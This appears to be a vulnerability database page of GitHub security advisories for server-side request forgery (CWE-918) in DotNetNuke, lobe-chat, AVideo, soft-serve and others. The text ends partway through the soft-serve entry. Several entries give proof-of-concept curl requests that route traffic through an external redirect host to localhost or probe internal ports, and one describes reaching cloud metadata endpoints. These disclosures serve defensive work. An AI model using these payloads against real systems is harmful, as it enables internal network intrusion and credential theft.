Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4719 vulnerabilities reference this CWE, most recent first.

GHSA-3F7V-QX94-666M

Vulnerability from github – Published: 2025-04-09 12:58 – Updated: 2025-04-09 20:14
VLAI
Summary
DotNetNuke.Core Vulnerable to Server-Side Request Forgery (SSRF)
Details

A bypass has been identified for the previously known vulnerability CVE-2017-0929, allowing unauthenticated attackers to execute arbitrary GET requests against target systems, including internal or adjacent networks.

Impact

This vulnerability facilitates a semi-blind SSRF attack, allowing attackers to make the target server send requests to internal or external URLs without viewing the full responses. Potential impacts include internal network reconnaissance, bypassing firewalls.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "DotNetNuke.Core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.13.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-09T12:58:28Z",
    "nvd_published_at": "2025-04-09T16:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A bypass has been identified for the previously known vulnerability CVE-2017-0929, allowing unauthenticated attackers to execute arbitrary GET requests against target systems, including internal or adjacent networks.\n\n### Impact\n\nThis vulnerability facilitates a semi-blind SSRF attack, allowing attackers to make the target server send requests to internal or external URLs without viewing the full responses. Potential impacts include internal network reconnaissance, bypassing firewalls.",
  "id": "GHSA-3f7v-qx94-666m",
  "modified": "2025-04-09T20:14:12Z",
  "published": "2025-04-09T12:58:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-3f7v-qx94-666m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32372"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dnnsoftware/Dnn.Platform/commit/4721dd9eef846936d3b1a3676499e46968d15feb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dnnsoftware/Dnn.Platform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DotNetNuke.Core Vulnerable to Server-Side Request Forgery (SSRF)"
}

GHSA-3FC8-2R3F-8WRG

Vulnerability from github – Published: 2024-09-23 20:30 – Updated: 2024-09-30 19:57
VLAI
Summary
lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)
Details

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

  1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

  2. Create file dummy-server.js with the following content:

var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

  1. Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

  1. Observe in output of [2]
running server
/iamssrf_1337
  1. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

  1. Disable redirects - lobe-chat should consider explicitly disable redirects.
  2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.19.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-23T20:30:11Z",
    "nvd_published_at": "2024-09-23T16:15:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require(\u0027http\u0027);\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/html\u0027});\n  res.end();\n}).listen(3001, \u0027localhost\u0027);\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $\u0027POST\u0027 \\\n    -H $\u0027Host: 0.0.0.0:3210\u0027 -H $\u0027Accept-Encoding: gzip, deflate, br\u0027 -H $\u0027Referer: http://0.0.0.0:3210/settings/agent?agent=\u0026session=inbox\u0026tab=\u0027 -H $\u0027Content-Type: text/plain;charset=UTF-8\u0027 -H $\u0027Content-Length: 74\u0027 -H $\u0027Origin: http://0.0.0.0:3210\u0027 -H $\u0027Connection: keep-alive\u0027 -H $\u0027Priority: u=0\u0027 \\\n    -b $\u0027LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined\u0027 \\\n    --data-binary $\u0027http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337\u0027 \\\n    $\u0027http://0.0.0.0:3210/api/proxy\u0027\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf",
  "id": "GHSA-3fc8-2r3f-8wrg",
  "modified": "2024-09-30T19:57:27Z",
  "published": "2024-09-23T20:30:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)"
}

GHSA-3FH8-P25M-JH6Q

Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31
VLAI
Details

OpenClaw versions before 2026.6.6 contain a network policy bypass vulnerability in the sandbox exec-server that allows lower-trust callers to reach internal network destinations blocked by OpenClaw policy. Attackers can send HTTP requests through the exec-server to access network resources that should have been restricted by configured policies.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-62201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T02:18:06Z",
    "severity": "MODERATE"
  },
  "details": "OpenClaw versions before 2026.6.6 contain a network policy bypass vulnerability in the sandbox exec-server that allows lower-trust callers to reach internal network destinations blocked by OpenClaw policy. Attackers can send HTTP requests through the exec-server to access network resources that should have been restricted by configured policies.",
  "id": "GHSA-3fh8-p25m-jh6q",
  "modified": "2026-07-17T03:31:19Z",
  "published": "2026-07-17T03:31:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mgvr-6gvw-3rgr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62201"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-network-policy-bypass-via-exec-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3FH9-V9H9-8R63

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

IBM QRadar SIEM 7.4.2 GA to 7.4.2 Patch 1, 7.4.0 to 7.4.1 Patch 1, and 7.3.0 to 7.3.3 Patch 5 is vulnerable to server side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 189221.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-4786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-27T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM QRadar SIEM 7.4.2 GA to 7.4.2 Patch 1, 7.4.0 to 7.4.1 Patch 1, and 7.3.0 to 7.3.3 Patch 5 is vulnerable to server side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 189221.",
  "id": "GHSA-3fh9-v9h9-8r63",
  "modified": "2022-05-24T17:40:25Z",
  "published": "2022-05-24T17:40:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4786"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/189221"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6408866"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3FPM-8RJR-V5MC

Vulnerability from github – Published: 2026-03-20 20:57 – Updated: 2026-03-25 20:31
VLAI
Summary
AVideo has Unauthenticated SSRF via plugin/Live/test.php
Details

Summary

An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.

Details

The endpoint accepts $_REQUEST['statsURL'] and only checks that it starts with http:

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    exit;
}

It then calls:

$result = url_get_contents($statsURL, 2);

Inside the same file, url_get_contents() performs a real outbound request with file_get_contents() when allow_url_fopen is enabled:

$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));

There is:

  • no authentication check
  • no allowlist of trusted stats URLs
  • no SSRF-safe URL validation
  • reflected response/error output

Validated on source:

PoC

Target used during validation:

http://127.0.0.1:80
  1. Probe a closed localhost port:
curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'

Observed response excerpt:

Starting try to get URL http://127.0.0.1:1/
url_get_contents start timeout=2
Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused
file_get_contents fail return an empty content
FAIL
  1. Probe the local web service itself:
curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'

This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.

Impact

This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.

An attacker can:

  • probe localhost and internal network services
  • distinguish open and closed ports
  • target cloud metadata endpoints if reachable
  • retrieve reflected content from internal HTTP services when the upstream responds with a body

The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.

remediation

The safest fix is to remove plugin/Live/test.php from production deployments.

If it must remain:

  • require admin authentication
  • only allow requests to explicitly configured Live stats URLs
  • block localhost, RFC1918, link-local, and metadata IP ranges
  • stop reflecting fetched bodies and raw upstream errors to the client

Minimal hardening example:

require_once dirname(__FILE__) . '/../../videos/configuration.php';

if (!User::isAdmin()) {
    http_response_code(403);
    exit('Forbidden');
}

$statsURL = $_REQUEST['statsURL'] ?? '';
if (empty($statsURL) || !isSSRFSafeURL($statsURL)) {
    exit('Unsafe URL');
}

Remove wget Fallback Entirely

The wget fallback provides no unique value over file_get_contents + curl and introduces shell exposure. Remove lines 94–119 of test.php.

If wget must remain, escape the argument:

// BEFORE (vulnerable)
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";

// AFTER (safe)
$cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";

Defense in Depth

  1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)
  2. Add isSSRFSafeURL() check (already exists in objects/functions.php) before any fetch
  3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:57:56Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAn unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.\n\n### Details\nThe endpoint accepts `$_REQUEST[\u0027statsURL\u0027]` and only checks that it starts with `http`:\n\n```php\n$statsURL = $_REQUEST[\u0027statsURL\u0027];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    exit;\n}\n```\n\nIt then calls:\n\n```php\n$result = url_get_contents($statsURL, 2);\n```\n\nInside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:\n\n```php\n$tmp = file_get_contents($url, false, $context);\n_log(\u0027file_get_contents:: \u0027.htmlentities($tmp));\n```\n\nThere is:\n\n- no authentication check\n- no allowlist of trusted stats URLs\n- no SSRF-safe URL validation\n- reflected response/error output\n\nValidated on source:\n\n- [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php)\n\n\n### PoC\nTarget used during validation:\n\n```text\nhttp://127.0.0.1:80\n```\n\n1. Probe a closed localhost port:\n\n```bash\ncurl -s \\\n  \u0027http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/\u0027\n```\n\nObserved response excerpt:\n\n```text\nStarting try to get URL http://127.0.0.1:1/\nurl_get_contents start timeout=2\nWarning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused\nfile_get_contents fail return an empty content\nFAIL\n```\n\n2. Probe the local web service itself:\n\n```bash\ncurl -s \\\n  \u0027http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/\u0027\n```\n\nThis returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.\n\n### Impact\nThis is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`.\n\nAn attacker can:\n\n- probe localhost and internal network services\n- distinguish open and closed ports\n- target cloud metadata endpoints if reachable\n- retrieve reflected content from internal HTTP services when the upstream responds with a body\n\nThe server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.\n\n### remediation\nThe safest fix is to remove `plugin/Live/test.php` from production deployments.\n\nIf it must remain:\n\n- require admin authentication\n- only allow requests to explicitly configured Live stats URLs\n- block localhost, RFC1918, link-local, and metadata IP ranges\n- stop reflecting fetched bodies and raw upstream errors to the client\n\nMinimal hardening example:\n\n```php\nrequire_once dirname(__FILE__) . \u0027/../../videos/configuration.php\u0027;\n\nif (!User::isAdmin()) {\n    http_response_code(403);\n    exit(\u0027Forbidden\u0027);\n}\n\n$statsURL = $_REQUEST[\u0027statsURL\u0027] ?? \u0027\u0027;\nif (empty($statsURL) || !isSSRFSafeURL($statsURL)) {\n    exit(\u0027Unsafe URL\u0027);\n}\n```\n\n### Remove `wget` Fallback Entirely\n\nThe `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94\u2013119 of `test.php`.\n\n### If wget must remain, escape the argument:\n\n```php\n// BEFORE (vulnerable)\n$cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n\n// AFTER (safe)\n$cmd = \"wget --tries=1 \" . escapeshellarg($url) . \" -O \" . escapeshellarg($filename) . \" --no-check-certificate\";\n```\n\n### Defense in Depth\n\n1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)\n2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch\n3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level",
  "id": "GHSA-3fpm-8rjr-v5mc",
  "modified": "2026-03-25T20:31:49Z",
  "published": "2026-03-20T20:57:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Unauthenticated SSRF via plugin/Live/test.php"
}

GHSA-3FV3-6P2V-GXWJ

Vulnerability from github – Published: 2026-04-09 17:36 – Updated: 2026-04-28 18:26
VLAI
Summary
OpenClaw QQ Bot Extension missing SSRF Protection on All Media Fetch Paths
Details

Impact

QQ Bot Extension: Missing SSRF Protection on All Media Fetch Paths.

QQ Bot media download paths were not consistently routed through the SSRF guard and allowlist policy.

OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.4.2
  • Patched versions: 2026.4.8

Fix

The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.

Verification

The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.

Credits

Thanks @adithyan-ak for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:36:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nQQ Bot Extension: Missing SSRF Protection on All Media Fetch Paths.\n\nQQ Bot media download paths were not consistently routed through the SSRF guard and allowlist policy.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.2`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @adithyan-ak for reporting.",
  "id": "GHSA-3fv3-6p2v-gxwj",
  "modified": "2026-04-28T18:26:35Z",
  "published": "2026-04-09T17:36:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3fv3-6p2v-gxwj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw QQ Bot Extension missing SSRF Protection on All Media Fetch Paths"
}

GHSA-3FVX-XRXQ-8JVV

Vulnerability from github – Published: 2026-03-06 22:16 – Updated: 2026-03-09 15:50
VLAI
Summary
soft-serve vulnerable to SSRF via unvalidated LFS endpoint in repo import
Details

While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection — ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time — but the LFS HTTP client still uses http.DefaultClient with no filtering at all.

Summary

An authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.

Details

The user-controlled endpoint flows through four files with zero validation:

1. User supplies the URL via --lfs-endpoint (pkg/ssh/cmd/import.go:20-41)

cmd.Flags().StringVarP(&lfsEndpoint, "lfs-endpoint", "", "", "set the Git LFS endpoint")

The flag value is passed directly into proto.RepositoryOptions{LFSEndpoint: lfsEndpoint} at line 40 and then to be.ImportRepository().

2. Access check passes for any authenticated user (pkg/ssh/cmd/cmd.go:172-187, pkg/backend/user.go:94-100)

The import command uses checkIfCollab as its PersistentPreRunE. For a new repo name (which is normal during import -- you're creating it), AccessLevelForUser hits this path:

// pkg/backend/user.go:94-100
if user != nil {
    // If the repository doesn't exist, the user has read/write access.
    if anon > access.ReadWriteAccess {
        return anon
    }

    return access.ReadWriteAccess
}

This is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn't that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.

3. Endpoint flows to the LFS client unvalidated (pkg/backend/repo.go:170-194)

// pkg/backend/repo.go:170-173
endpoint := remote
if opts.LFSEndpoint != "" {
    endpoint = opts.LFSEndpoint
}

When opts.LFSEndpoint is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:

// pkg/backend/repo.go:182-194
ep, err := lfs.NewEndpoint(endpoint)
// ...
client := lfs.NewClient(ep)
// ...
if err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {

lfs.NewEndpoint does URL parsing only -- no SSRF validation. lfs.NewClient calls newHTTPClient.

4. HTTP client has no protection (pkg/lfs/http_client.go:24-31)

// pkg/lfs/http_client.go:24-31
func newHTTPClient(endpoint Endpoint) *httpClient {
    return &httpClient{
        client:   http.DefaultClient,
        endpoint: endpoint,
        transfers: map[string]TransferAdapter{
            TransferBasic: &BasicTransferAdapter{http.DefaultClient},
        },
    }
}

Both the batch client and the BasicTransferAdapter use http.DefaultClient -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:

// pkg/webhook/webhook.go:42-76 -- the protected version
var secureHTTPClient = &http.Client{
    Timeout: 30 * time.Second,
    Transport: &http.Transport{
        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
            host, _, err := net.SplitHostPort(addr)
            // ...
            ip := net.ParseIP(host)
            if ip != nil {
                if err := ValidateIPBeforeDial(ip); err != nil {
                    return nil, fmt.Errorf("blocked connection to private IP: %w", err)
                }
            }
            // ...
        },
    },
    CheckRedirect: func(*http.Request, []*http.Request) error {
        return http.ErrUseLastResponse
    },
}

How the attack chains together:

Stage 1 -- blind SSRF: The server sends a POST to <attacker-endpoint>/objects/batch (see http_client.go:57). If the endpoint is a cloud metadata service like http://169.254.169.254/latest/meta-data/, the response won't be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.

Stage 2 -- reading internal responses via fake LFS server: If the attacker hosts a fake LFS server that returns valid batch responses, the BasicTransferAdapter follows the download URLs from the response:

// pkg/lfs/basic_transfer.go:71-89
func (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {
    // ...
    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response
    // ...
    res, err := a.client.Do(req)  // a.client is http.DefaultClient

The l.Href field comes from the attacker's batch response. The a.client is the same unprotected http.DefaultClient. So the fake LFS server can point download URLs at internal targets like http://169.254.169.254/latest/api/token or http://10.0.0.1:8080/admin, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.

Mirror sync persistence: When a repo is imported with --lfs-endpoint, the URL is persisted in the repo's git config at lfs.url (repo.go:175). If imported as a mirror (--mirror), the periodic sync job reads this config and uses the same unprotected LFS client:

// pkg/jobs/mirror.go:94-111
lfsEndpoint := rcfg.Section("lfs").Option("url")
if lfsEndpoint == "" {
    return
}

ep, err := lfs.NewEndpoint(lfsEndpoint)
// ...
client := lfs.NewClient(ep)
// ...
if err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {

A single --mirror --lfs --lfs-endpoint <internal-url> import creates persistent SSRF that repeats on every mirror sync without further interaction.

Two notes:

  • The batch request only fires if the imported repo contains LFS pointer blobs (checked via SearchPointerBlobs). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.
  • The import path in repo.go does not check the global cfg.LFS.Enabled flag -- it always processes LFS when the --lfs flag is passed. The mirror path (mirror.go:87) does gate on cfg.LFS.Enabled. So the import vector works regardless of server-level LFS configuration.

Protection comparison:

Layer Webhooks (v0.11.1+) LFS import/mirror
URL validation at input ValidateWebhookURL() None
Custom HTTP transport secureHTTPClient with ValidateIPBeforeDial http.DefaultClient
Redirect blocking CheckRedirect returns http.ErrUseLastResponse Default (follows redirects)
DNS rebinding protection IP checked at dial time None

Affected versions:

  • Introduced in v0.6.0 (commit ea6b9a4 added --lfs-endpoint flag)
  • Still present in v0.11.3+ (current main)
  • Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers pkg/webhook/, not pkg/lfs/

Suggested fix:

The existing SSRF protections in pkg/webhook/validator.go and pkg/webhook/webhook.go are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:

  1. Replace http.DefaultClient in pkg/lfs/http_client.go with a secure client using ValidateIPBeforeDial in the transport and http.ErrUseLastResponse in CheckRedirect -- matching the webhook pattern.
  2. Validate the endpoint URL in pkg/backend/repo.go (before lfs.NewEndpoint) and pkg/jobs/mirror.go (before creating the client) using the same checks ValidateWebhookURL performs.

Both layers matter -- URL validation catches the obvious cases, ValidateIPBeforeDial at connection time catches DNS rebinding.

PoC

Based on code review. These haven't been run against a live instance, but the data flow from --lfs-endpoint to http.DefaultClient.Do() is straightforward:

# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)
